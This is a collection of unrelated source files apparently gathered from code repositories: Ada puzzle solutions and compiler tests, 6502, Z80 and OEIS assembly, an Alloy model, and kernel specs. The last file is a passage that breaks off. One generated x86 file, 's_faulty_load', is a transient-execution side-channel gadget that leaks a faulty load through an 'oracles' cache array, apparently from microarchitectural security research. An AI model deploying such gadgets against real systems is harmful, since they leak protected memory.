<reponame>jwarwick/aoc_2020<gh_stars>1-10 -- AOC 2020, Day 24 with Ada.Text_IO; use Ada.Text_IO; with Day; use Day; procedure main is part1 : constant Natural := count_tiles("input.txt"); part2 : constant Natural := evolve_tiles("input.txt", 100); begin put_line("Part 1: " & part1'IMAGE); put_line("Part 2: " & part2'IMAGE); end main;
OSX/SuspendArchLinux.applescript
TheDarkTrumpet/Automation
0
51
use AppleScript version "2.4" -- Yosemite (10.10) or later use scripting additions set vmrun_cmd to "/Applications/VMware Fusion.app/Contents/Public/vmrun" set vmrun_opts to "/Users/dthole/Documents/Arch Linux.vmwarevm/Arch Linux.vmx" do shell script quoted form of vmrun_cmd & " -T ws suspend " & quoted form of vmrun_opts tell application "VMware Fusion" to quit
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cd/cd2a22j.ada
best08618/asylo
7
12088
<gh_stars>1-10 -- CD2A22J.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT WHEN A SIZE SPECIFICATION IS GIVEN FOR AN -- ENUMERATION TYPE, THEN SUCH A TYPE OF THE SMALLEST APPROPRIATE -- UNSIGNED SIZE CAN BE PASSED AS AN ACTUAL PARAMETER TO A GENERIC -- PROCEDURE. -- HISTORY: -- JET 08/13/87 CREATED ORIGINAL TEST. -- DHH 04/17/89 CHANGED EXTENSION FROM '.DEP' TO '.ADA', CHANGED -- OPERATORS ON 'SIZE TESTS, AND ADDED CHECK ON -- REPRESENTATION CLAUSE. -- JRL 03/27/92 ELIMINATED REDUNDANT TESTING. WITH REPORT; USE REPORT; WITH LENGTH_CHECK; -- CONTAINS A CALL TO 'FAILED'. PROCEDURE CD2A22J IS TYPE BASIC_ENUM IS (ZERO, ONE, TWO); BASIC_SIZE : CONSTANT := 2; FOR BASIC_ENUM'SIZE USE BASIC_SIZE; BEGIN TEST ("CD2A22J", "CHECK THAT WHEN A SIZE SPECIFICATION IS GIVEN " & "FOR AN ENUMERATION TYPE, THEN SUCH A TYPE OF " & "THE SMALLEST APPROPRIATE UNSIGNED SIZE CAN BE " & "PASSED AS AN ACTUAL PARAMETER TO A GENERIC " & "PROCEDURE"); DECLARE -- TYPE DECLARATION GIVEN WITHIN GENERIC PROCEDURE. GENERIC TYPE GPARM IS (<>); PROCEDURE GENPROC (C0, C1, C2: GPARM); PROCEDURE GENPROC (C0, C1, C2: GPARM) IS SUBTYPE CHECK_TYPE IS GPARM; FUNCTION IDENT (CH : CHECK_TYPE) RETURN CHECK_TYPE IS BEGIN IF EQUAL (3, 3) THEN RETURN CH; ELSE RETURN C1; END IF; END IDENT; PROCEDURE CHECK_1 IS NEW LENGTH_CHECK (CHECK_TYPE); BEGIN -- GENPROC. CHECK_1 (C0, BASIC_SIZE, "CHECK_TYPE"); IF CHECK_TYPE'SIZE /= IDENT_INT (BASIC_SIZE) THEN FAILED ("INCORRECT VALUE FOR CHECK_TYPE'SIZE"); END IF; IF C0'SIZE < IDENT_INT (BASIC_SIZE) THEN FAILED ("INCORRECT VALUE FOR C0'SIZE"); END IF; IF NOT ((C0 < IDENT (C1)) AND (IDENT (C2) > IDENT (C1)) AND (C1 <= IDENT (C1)) AND (IDENT (C2) = C2)) THEN FAILED ("INCORRECT RESULTS FOR RELATIONAL " & "OPERATORS"); END IF; IF CHECK_TYPE'FIRST /= IDENT (C0) THEN FAILED ("INCORRECT VALUE FOR CHECK_TYPE'FIRST"); END IF; IF CHECK_TYPE'POS (C0) /= IDENT_INT (0) OR CHECK_TYPE'POS (C1) /= IDENT_INT (1) OR CHECK_TYPE'POS (C2) /= IDENT_INT (2) THEN FAILED ("INCORRECT VALUE FOR CHECK_TYPE'POS"); END IF; IF CHECK_TYPE'SUCC (C0) /= IDENT (C1) OR CHECK_TYPE'SUCC (C1) /= IDENT (C2) THEN FAILED ("INCORRECT VALUE FOR CHECK_TYPE'SUCC"); END IF; IF CHECK_TYPE'IMAGE (C0) /= IDENT_STR ("ZERO") OR CHECK_TYPE'IMAGE (C1) /= IDENT_STR ("ONE") OR CHECK_TYPE'IMAGE (C2) /= IDENT_STR ("TWO") THEN FAILED ("INCORRECT VALUE FOR CHECK_TYPE'IMAGE"); END IF; END GENPROC; PROCEDURE NEWPROC IS NEW GENPROC (BASIC_ENUM); BEGIN NEWPROC (ZERO, ONE, TWO); END; RESULT; END CD2A22J;
libsrc/stdio_new/file/putchar.asm
meesokim/z88dk
8
3439
; int __FASTCALL__ putchar(int c) ; 06.2008 aralbrec PUBLIC putchar EXTERN fputc_callee EXTERN ASMDISP_FPUTC_CALLEE, _stdout .putchar ld ix,(_stdout) jp fputc_callee + ASMDISP_FPUTC_CALLEE
programs/oeis/332/A332994.asm
neoneye/loda
22
179871
; A332994: a(1) = 1, for n > 1, a(n) = n + a(A052126(n)). ; 1,3,4,7,6,9,8,15,13,13,12,19,14,17,19,31,18,27,20,27,25,25,24,39,31,29,40,35,30,39,32,63,37,37,41,55,38,41,43,55,42,51,44,51,58,49,48,79,57,63,55,59,54,81,61,71,61,61,60,79,62,65,76,127,71,75,68,75,73,83,72,111,74,77,94,83,85,87,80,111,121,85,84,103,91,89,91,103,90,117,99,99,97,97,101,159,98,115,112,127 mov $1,$0 add $0,1 lpb $1 seq $1,52126 ; a(1) = 1; for n>1, a(n)=n/(largest prime dividing n). add $0,$1 sub $1,1 lpe
source/nodes/program-nodes-defining_expanded_names.ads
reznikmm/gela
0
164
<filename>source/nodes/program-nodes-defining_expanded_names.ads -- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT ------------------------------------------------------------- with Program.Elements.Expressions; with Program.Lexical_Elements; with Program.Elements.Defining_Identifiers; with Program.Elements.Defining_Expanded_Names; with Program.Element_Visitors; package Program.Nodes.Defining_Expanded_Names is pragma Preelaborate; type Defining_Expanded_Name is new Program.Nodes.Node and Program.Elements.Defining_Expanded_Names.Defining_Expanded_Name and Program.Elements.Defining_Expanded_Names .Defining_Expanded_Name_Text with private; function Create (Prefix : not null Program.Elements.Expressions.Expression_Access; Dot_Token : not null Program.Lexical_Elements.Lexical_Element_Access; Selector : not null Program.Elements.Defining_Identifiers .Defining_Identifier_Access) return Defining_Expanded_Name; type Implicit_Defining_Expanded_Name is new Program.Nodes.Node and Program.Elements.Defining_Expanded_Names.Defining_Expanded_Name with private; function Create (Prefix : not null Program.Elements.Expressions .Expression_Access; Selector : not null Program.Elements.Defining_Identifiers .Defining_Identifier_Access; Is_Part_Of_Implicit : Boolean := False; Is_Part_Of_Inherited : Boolean := False; Is_Part_Of_Instance : Boolean := False) return Implicit_Defining_Expanded_Name with Pre => Is_Part_Of_Implicit or Is_Part_Of_Inherited or Is_Part_Of_Instance; private type Base_Defining_Expanded_Name is abstract new Program.Nodes.Node and Program.Elements.Defining_Expanded_Names.Defining_Expanded_Name with record Prefix : not null Program.Elements.Expressions.Expression_Access; Selector : not null Program.Elements.Defining_Identifiers .Defining_Identifier_Access; end record; procedure Initialize (Self : in out Base_Defining_Expanded_Name'Class); overriding procedure Visit (Self : not null access Base_Defining_Expanded_Name; Visitor : in out Program.Element_Visitors.Element_Visitor'Class); overriding function Prefix (Self : Base_Defining_Expanded_Name) return not null Program.Elements.Expressions.Expression_Access; overriding function Selector (Self : Base_Defining_Expanded_Name) return not null Program.Elements.Defining_Identifiers .Defining_Identifier_Access; overriding function Is_Defining_Expanded_Name (Self : Base_Defining_Expanded_Name) return Boolean; overriding function Is_Defining_Name (Self : Base_Defining_Expanded_Name) return Boolean; type Defining_Expanded_Name is new Base_Defining_Expanded_Name and Program.Elements.Defining_Expanded_Names.Defining_Expanded_Name_Text with record Dot_Token : not null Program.Lexical_Elements.Lexical_Element_Access; end record; overriding function To_Defining_Expanded_Name_Text (Self : in out Defining_Expanded_Name) return Program.Elements.Defining_Expanded_Names .Defining_Expanded_Name_Text_Access; overriding function Dot_Token (Self : Defining_Expanded_Name) return not null Program.Lexical_Elements.Lexical_Element_Access; overriding function Image (Self : Defining_Expanded_Name) return Text; type Implicit_Defining_Expanded_Name is new Base_Defining_Expanded_Name with record Is_Part_Of_Implicit : Boolean; Is_Part_Of_Inherited : Boolean; Is_Part_Of_Instance : Boolean; end record; overriding function To_Defining_Expanded_Name_Text (Self : in out Implicit_Defining_Expanded_Name) return Program.Elements.Defining_Expanded_Names .Defining_Expanded_Name_Text_Access; overriding function Is_Part_Of_Implicit (Self : Implicit_Defining_Expanded_Name) return Boolean; overriding function Is_Part_Of_Inherited (Self : Implicit_Defining_Expanded_Name) return Boolean; overriding function Is_Part_Of_Instance (Self : Implicit_Defining_Expanded_Name) return Boolean; overriding function Image (Self : Implicit_Defining_Expanded_Name) return Text; end Program.Nodes.Defining_Expanded_Names;
programs/oeis/004/A004126.asm
karttu/loda
1
99490
<reponame>karttu/loda<filename>programs/oeis/004/A004126.asm ; A004126: a(n) = n*(7*n^2 - 1)/6. ; 0,1,9,31,74,145,251,399,596,849,1165,1551,2014,2561,3199,3935,4776,5729,6801,7999,9330,10801,12419,14191,16124,18225,20501,22959,25606,28449,31495,34751,38224,41921,45849,50015,54426,59089,64011,69199,74660,80401,86429,92751,99374,106305,113551,121119,129016,137249,145825,154751,164034,173681,183699,194095,204876,216049,227621,239599,251990,264801,278039,291711,305824,320385,335401,350879,366826,383249,400155,417551,435444,453841,472749,492175,512126,532609,553631,575199,597320,620001,643249,667071,691474,716465,742051,768239,795036,822449,850485,879151,908454,938401,968999,1000255,1032176,1064769,1098041,1131999,1166650,1202001,1238059,1274831,1312324,1350545,1389501,1429199,1469646,1510849,1552815,1595551,1639064,1683361,1728449,1774335,1821026,1868529,1916851,1965999,2015980,2066801,2118469,2170991,2224374,2278625,2333751,2389759,2446656,2504449,2563145,2622751,2683274,2744721,2807099,2870415,2934676,2999889,3066061,3133199,3201310,3270401,3340479,3411551,3483624,3556705,3630801,3705919,3782066,3859249,3937475,4016751,4097084,4178481,4260949,4344495,4429126,4514849,4601671,4689599,4778640,4868801,4960089,5052511,5146074,5240785,5336651,5433679,5531876,5631249,5731805,5833551,5936494,6040641,6145999,6252575,6360376,6469409,6579681,6691199,6803970,6918001,7033299,7149871,7267724,7386865,7507301,7629039,7752086,7876449,8002135,8129151,8257504,8387201,8518249,8650655,8784426,8919569,9056091,9193999,9333300,9474001,9616109,9759631,9904574,10050945,10198751,10347999,10498696,10650849,10804465,10959551,11116114,11274161,11433699,11594735,11757276,11921329,12086901,12253999,12422630,12592801,12764519,12937791,13112624,13289025,13467001,13646559,13827706,14010449,14194795,14380751,14568324,14757521,14948349,15140815,15334926,15530689,15728111,15927199,16127960,16330401,16534529,16740351,16947874,17157105,17368051,17580719,17795116,18011249 mov $1,$0 pow $1,3 mul $1,7 sub $1,$0 div $1,6
samples/fibonacci.asm
esovm/BrainfuckAsmCompiler
1
26848
<reponame>esovm/BrainfuckAsmCompiler<filename>samples/fibonacci.asm stacksize 16 global 2 " -> Number %u is: %u\n\0" global 25 "\n\n\0" global 28 "Fibonacci number generator\n==========================\n\nPlease enter 2 digits: \0" jmp __start //$0 is offset of string (has to end with \0) (will be changed) //$1 is offset of arguments (will be changed) //$2-$8 reserved (will be written) //%u is the only replacement possibility (% can be escaped with \%) printf: printf_loop: mov $3, [$0] jz $3, printf_end add $0, 1 mov $4, [$0] mov $2, 92 jne $3, $2, printf_skip_escape // '\' je $4, $2, printf_escape // '\' mov $2, 37 je $4, $2, printf_escape // '%' jmp printf_error printf_escape: mov $3, $4 add $0, 1 printf_skip_escape: mov $2, 37 jne $3, $2, printf_replace_escape // '%' mov $2, 117 // 'u' jne $4, $2, printf_error add $0, 1 mov $7, $0 mov $8, $1 mov $0, [$1] add $8, 1 call print_decimal mov $1, $8 mov $0, $7 jmp printf_loop printf_replace_escape: out $3 jmp printf_loop jmp printf_end printf_error: out 73 out 78 out 86 printf_end: ret //$0 is the decimal //$1-$6 will be changed print_decimal: mov $5, $0 mov $6, 0 print_decimal_loop0: mov $3, 10 div $0, $1, $5, $3 add $1, 48 push $1 add $6, 1 mov $5, $0 jnz $5, print_decimal_loop0 print_decimal_loop1: jz $6, print_decimal_end sub $6, 1 pop $5 out $5 jmp print_decimal_loop1 print_decimal_end: ret __start: mov $0, 28 call printf mov $9, 1 mov $10, 0 mov $12, 0 in $14 in $15 sub $14,48 sub $15,48 mov $16, 10 mul $13, $14, $16 add $13, $15 mov $0, 25 call printf main_loop: mov $11, $9 add $11, $10 mov $9, $10 mov $10, $11 mov $0, 2 mov $1, 0 mov [0], $12 mov [1], $11 call printf add $12, 1 jl $12, $13, main_loop
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_801_317.asm
ljhsiun2/medusa
9
86030
<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %r8 push %rbp push %rcx push %rdi // Store lea addresses_WC+0x127e0, %r15 nop nop sub $19170, %rdi mov $0x5152535455565758, %r14 movq %r14, (%r15) nop nop xor $49066, %r14 // Load lea addresses_normal+0x1b9e0, %rdi nop sub $54621, %rcx movups (%rdi), %xmm0 vpextrq $1, %xmm0, %rbp nop cmp $3439, %rcx // Load lea addresses_RW+0xa5e0, %r13 nop dec %rbp movb (%r13), %cl nop nop cmp %rcx, %rcx // Load lea addresses_D+0x14fe0, %r8 nop inc %r15 movups (%r8), %xmm5 vpextrq $0, %xmm5, %rbp nop nop add $58286, %r13 // Store lea addresses_WC+0x1ada, %rdi nop xor $49530, %r15 mov $0x5152535455565758, %r13 movq %r13, %xmm3 movups %xmm3, (%rdi) add %r8, %r8 // Load lea addresses_PSE+0x12ce0, %rbp nop nop nop nop nop xor $64603, %r14 mov (%rbp), %r13 nop nop nop nop inc %rdi // Store lea addresses_A+0xe7e0, %r14 nop nop nop nop nop add %r15, %r15 mov $0x5152535455565758, %r8 movq %r8, %xmm1 movups %xmm1, (%r14) nop sub %r13, %r13 // Load lea addresses_A+0x1799a, %rcx nop nop nop cmp %r8, %r8 mov (%rcx), %r13d nop inc %rbp // Load lea addresses_WC+0xc6e0, %r15 nop nop and $65166, %rbp vmovups (%r15), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %r8 dec %r15 // Store lea addresses_D+0x11fe0, %r15 sub %rdi, %rdi mov $0x5152535455565758, %r8 movq %r8, %xmm6 movups %xmm6, (%r15) nop nop xor %r13, %r13 // Faulty Load lea addresses_A+0xe7e0, %r13 nop nop add %r15, %r15 mov (%r13), %ecx lea oracles, %r15 and $0xff, %rcx shlq $12, %rcx mov (%r15,%rcx,1), %rcx pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'58': 801} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
alloy4fun_models/trashltl/models/5/5jfGoyNCdqk5P4QAc.als
Kaixi26/org.alloytools.alloy
0
1906
open main pred id5jfGoyNCdqk5P4QAc_prop6 { all f: File | f in Trash triggered f in Trash } pred __repair { id5jfGoyNCdqk5P4QAc_prop6 } check __repair { id5jfGoyNCdqk5P4QAc_prop6 <=> prop6o }
aux/2600/supercharger_bios/bios.asm
6502ts/6502.ts
49
14111
;; ========================================================================== ;; This file is part of 6502.ts, an emulator for 6502 based systems built ;; in Typescript ;; ;; Copyright (c) 2014 -- 2020 <NAME> and contributors ;; ;; Permission is hereby granted, free of charge, to any person obtaining a copy ;; of this software and associated documentation files (the "Software"), to deal ;; in the Software without restriction, including without limitation the rights ;; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ;; copies of the Software, and to permit persons to whom the Software is ;; furnished to do so, subject to the following conditions: ;; ;; The above copyright notice and this permission notice shall be included in all ;; copies or substantial portions of the Software. ;; ;; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ;; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ;; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ;; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ;; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ;; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ;; SOFTWARE. ;; ========================================================================== ;; Interface: ;; ;; * The BIOS code should be relocated to the beginning of the ROM bank ;; * The entry vector ($F807) must be patched into the last four bytes of the ;; ROM bank ;; * A canary value of zero must be placed at $FFFB ;; * The BIOS triggers the actual load by writing the requested multiload ID ;; $FFF9. The write originates from page zero. ;; * After loading, the following values must be patched into the ROM: ;; - $FFF0: control word ;; - $FFF1: a random value for A ;; - $FFF2 -- $FFF3: entry point ;; ========================================================================== processor 6502 VBLANK equ $01 SEG code ; === ; Entry point for multi-load reading ; === org $F800 ; Load the target bank and jump LDA $FA JMP load ; === ; System reset ; === org $F807 start: SEI CLD LDA #0 LDX #$FF TXS TAX TAY clearmem: ; the regular init dance STA $00,X INX BNE clearmem JMP load load: ; Blank the screen LDX #2 STX VBLANK ; Configure banking and enable RAM writes LDX $F006 STX $FFF8 ; Clear TIA registers LDY #$00 LDX #$28 tiaclr: STY $04,X DEX BPL tiaclr ; Clear memory (skip $80 though as it still contains the requested multiload ID) LDX #$80 LDY #0 clear: STY $0,X INX BNE clear ; Copy wait-for-load snipped to RIOT RAM (11 bytes) LDX #11 copywaitforload: LDY waitforload,X STY $F0,X DEX BPL copywaitforload ; Jump to wait-for-load JMP $F0 ; The load is done; copy the trampoline to RIOT RAM (6 bytes) prepareexec: LDX #6 copyexec: LDA execute,X STA $F0,X DEX BPL copyexec ; The cartridge emulation will provide the load parameters at 0xfff0 -- 0xfff3 ; Prepare the control byte LDX $FFF0 STX $80 LDY $F000,X ; Load random value for A LDA $FFF1 ; The entry point comes next; patch it into the trampoline LDX $FFF2 STX $F4 LDX $FFF3 STX $F5 ; Setup the registers (we have randomized A above) LDX #$FF LDY #0 TXS ; jump into the trampoline and continue execution JMP $F0 ; === ; Wait for the cartridge emulation to load the new multiload into RAM. ; This will be executed from RIOT RAM. ; === waitforload: ; Write the load ID to $FFF9. This will cause the cartridge emulation to ; copy in the new multiload STA $FFF9 wait: ; As long as the cartridge is busy, the data bus will be undriven, and the canary ; load will return $FB LDA $FFFB BNE wait ; We got 0? The cartridge is driving the bus again, so the load is finished, and ; we can continue JMP prepareexec ; === ; Trampoline ; ; Setup the control register and jump back into the code. This will be ; executed from RIOT RAM. ; === execute: ; Trigger the write to the control register... STA $FFF8 ; ... and jump. The address will be patched in. JMP $0000
src/ewok-dma.ads
PThierry/ewok-kernel
0
5393
-- -- Copyright 2018 The wookey project team <<EMAIL>> -- - <NAME> -- - <NAME> -- - <NAME> -- - <NAME> -- - <NAME> -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. -- -- with ewok.tasks_shared; use ewok.tasks_shared; with ewok.dma_shared; with ewok.exported.dma; with soc.dma; with soc.dma.interfaces; with soc.interrupts; with soc.devmap; use type soc.devmap.t_periph_id; package ewok.dma with spark_mode => off is type t_status is (DMA_UNUSED, DMA_USED, DMA_CONFIGURED); type t_registered_dma is record config : soc.dma.interfaces.t_dma_config; task_id : ewok.tasks_shared.t_task_id := ID_UNUSED; status : t_status := DMA_UNUSED; periph_id : soc.devmap.t_periph_id := soc.devmap.NO_PERIPH; end record; registered_dma : array (ewok.dma_shared.t_registered_dma_index) of t_registered_dma; procedure get_registered_dma_entry (index : out ewok.dma_shared.t_registered_dma_index; success : out boolean); function has_same_dma_channel (index : ewok.dma_shared.t_registered_dma_index; user_config : ewok.exported.dma.t_dma_user_config) return boolean; function stream_is_already_used (user_config : ewok.exported.dma.t_dma_user_config) return boolean; procedure enable_dma_stream (index : in ewok.dma_shared.t_registered_dma_index); procedure disable_dma_stream (index : in ewok.dma_shared.t_registered_dma_index); procedure enable_dma_irq (index : in ewok.dma_shared.t_registered_dma_index); function is_config_complete (config : soc.dma.interfaces.t_dma_config) return boolean; function sanitize_dma (user_config : ewok.exported.dma.t_dma_user_config; caller_id : ewok.tasks_shared.t_task_id; to_configure : ewok.exported.dma.t_config_mask; mode : ewok.tasks_shared.t_task_mode) return boolean; function sanitize_dma_shm (shm : ewok.exported.dma.t_dma_shm_info; caller_id : ewok.tasks_shared.t_task_id; mode : ewok.tasks_shared.t_task_mode) return boolean; procedure reconfigure_stream (user_config : in out ewok.exported.dma.t_dma_user_config; index : in ewok.dma_shared.t_registered_dma_index; to_configure : in ewok.exported.dma.t_config_mask; caller_id : in ewok.tasks_shared.t_task_id; success : out boolean); procedure init_stream (user_config : in ewok.exported.dma.t_dma_user_config; caller_id : in ewok.tasks_shared.t_task_id; index : out ewok.dma_shared.t_registered_dma_index; success : out boolean); procedure init; procedure clear_dma_interrupts (caller_id : in ewok.tasks_shared.t_task_id; interrupt : in soc.interrupts.t_interrupt); procedure get_status_register (caller_id : in ewok.tasks_shared.t_task_id; interrupt : in soc.interrupts.t_interrupt; status : out soc.dma.t_dma_stream_int_status; success : out boolean); end ewok.dma;
day04/src/day.ads
jwarwick/aoc_2020
3
26338
<gh_stars>1-10 -- AOC 2020, Day 4 with Ada.Containers.Vectors; with Ada.Containers.Indefinite_Hashed_Maps; with Ada.Containers; use Ada.Containers; with Ada.Strings.Hash; package Day is package Passport_Maps is new Ada.Containers.Indefinite_Hashed_Maps (Key_Type => String, Element_Type => String, Hash => Ada.Strings.Hash, Equivalent_Keys => "="); function "="(Left, Right:Passport_Maps.Map) return Boolean; package Passport_Vectors is new Ada.Containers.Vectors (Index_Type => Natural, Element_Type => Passport_Maps.Map); -- type Passports is access Passport_Vectors.Vector; function load_batch(filename : in String) return Passport_Vectors.Vector; function present_count(batch : in Passport_Vectors.Vector) return Count_Type; function valid_count(batch : in Passport_Vectors.Vector) return Count_Type; end Day;
source/tasking/s-tasks.adb
ytomino/drake
33
26778
pragma Check_Policy (Trace => Disable); with Ada.Exception_Identification.From_Here; with Ada.Unchecked_Conversion; with Ada.Unchecked_Deallocation; with System.Address_To_Named_Access_Conversions; with System.Formatting.Address; with System.Long_Long_Integer_Types; with System.Native_Time; with System.Runtime_Context; with System.Shared_Locking; with System.Stack; with System.Standard_Allocators; with System.Storage_Barriers; with System.Synchronous_Control; with System.Synchronous_Objects.Abortable; with System.Termination; with System.Unbounded_Stack_Allocators; with System.Unwind.Occurrences; package body System.Tasks is use Ada.Exception_Identification.From_Here; use type Long_Long_Integer_Types.Word_Unsigned; use type Synchronous_Objects.Queue_Node_Access; use type Storage_Elements.Storage_Offset; subtype Word_Unsigned is Long_Long_Integer_Types.Word_Unsigned; -- Use sequentially consistent model. Order : constant := Storage_Barriers.ATOMIC_SEQ_CST; function atomic_add_fetch ( ptr : not null access Counter; val : Counter; memorder : Integer := Order) return Counter with Import, Convention => Intrinsic, External_Name => "__atomic_add_fetch_4"; function atomic_compare_exchange ( ptr : not null access Activation_State; expected : not null access Activation_State; desired : Activation_State; weak : Boolean := False; success_memorder : Integer := Order; failure_memorder : Integer := Order) return Boolean with Import, Convention => Intrinsic, External_Name => "__atomic_compare_exchange_1"; function atomic_compare_exchange ( ptr : not null access Termination_State; expected : not null access Termination_State; desired : Termination_State; weak : Boolean := False; success_memorder : Integer := Order; failure_memorder : Integer := Order) return Boolean with Import, Convention => Intrinsic, External_Name => "__atomic_compare_exchange_1"; -- delay statement procedure Delay_For (D : Duration); procedure Delay_For (D : Duration) is Aborted : 